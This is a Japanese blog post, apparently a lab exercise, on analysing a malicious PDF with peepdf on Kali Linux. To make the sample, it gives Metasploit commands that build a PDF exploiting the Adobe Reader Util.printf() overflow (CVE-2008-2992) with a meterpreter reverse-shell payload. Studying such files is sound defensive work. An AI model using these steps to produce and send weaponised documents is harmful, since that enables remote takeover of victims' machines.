peepdf を使って攻撃コードの入ったPDFを解析してみた
環境
- kali linux 2
- peepdf 0.3
peepdf とは?
peepdf とは python で作られている PDF 解析ツールです。解析するだけでなく、もし、脆弱性を突くようなコードが埋め込まれていた場合はその脆弱性情報も合わせて表示してくれます。
Cuckoo や Thung などでも使用されているみたいですね。
peepdf のセットアップ
kali linux なら、peepdf は OS をインストールした状態で使えるようになっているので、 kali linux を使いましょう。
解析対象の PDF を作成する
それではまず、peepdf で解析するファイルを作成しましょう。metasploit を用いて、脆弱性を突くコードの入ったPDFファイルを作成します。 metasploit も kali linux ならば OS をインストールした状態で使えるようになっています。
今回使用する脆弱性は CVE-2008-2992 という Adobe Reader の Util.PRINTF() に存在するバッファオーバーフローの脆弱性を利用するJSコードです。古い脆弱性ですが、外部に送信しないように注意して扱いましょう。
metasploit のコンソールに以下のように1行ずつ打ち込んでいきます。
msf> use exploit/windows/fileformat/adobe_utilprintf msf> set FILENAME malicious.pdf msf> set PAYLOAD windows/meterpreter/reverse_tcp msf> set LHOST 192.168.1.11 msf> set LPORT 4455 msf> exploit
export を実行すると/root/.msf4/local/malicious.pdf
というパスにファイルが生成されるので、扱いやすいように Desktop に移動します。
作成した PDF を解析してみる
$ peepdf ~/Desktop/malicious.pdf
を実行すると解析結果をコンソールに出力してくれます。
バッチリ CVE-2008-2992 の攻撃コードがあることが検出されていますね。もう少しこのコードがどのようなものか深ぼって見ましょう。
$peepdf -i ~/Desktop/malicious.pdf
今度は -i インタラクティブオプションをつけて実行します。先ずは、該当部分の JS コードをプレーンな状態で見てみましょう。
PPDF> js_code 6
を実行するとバーっとコードを出力してくれます。画面上部が切れていますが、以下の感じですね。
最後の行に今回ターゲットにした関数 util.printf()
が使われているのがわかります。更に JavaScript の解析も出来るようなので以下のコマンドでやってみました。
PPDF> js_analyse object 5
pyV8 が入っていないので、 解析時にエラー…
このあたりを参考にして pyV8 と V8 を入れてみようと試みましたが、うまく行かず… Github の方のコードを取ってきてもだめ。もちろん pip install pyV8
でもだめ。
どうしたらいいんだ… 続きはまた今度。
参考文献
- https://www.blackhat.com/docs/eu-15/materials/eu-15-Esparza-peepdf.pdf
- http://eternal-todo.com/tools/peepdf-pdf-analysis-tool
- https://github.com/jesparza/peepdf
- http://resources.infosecinstitute.com/analyzing-malicious-pdf/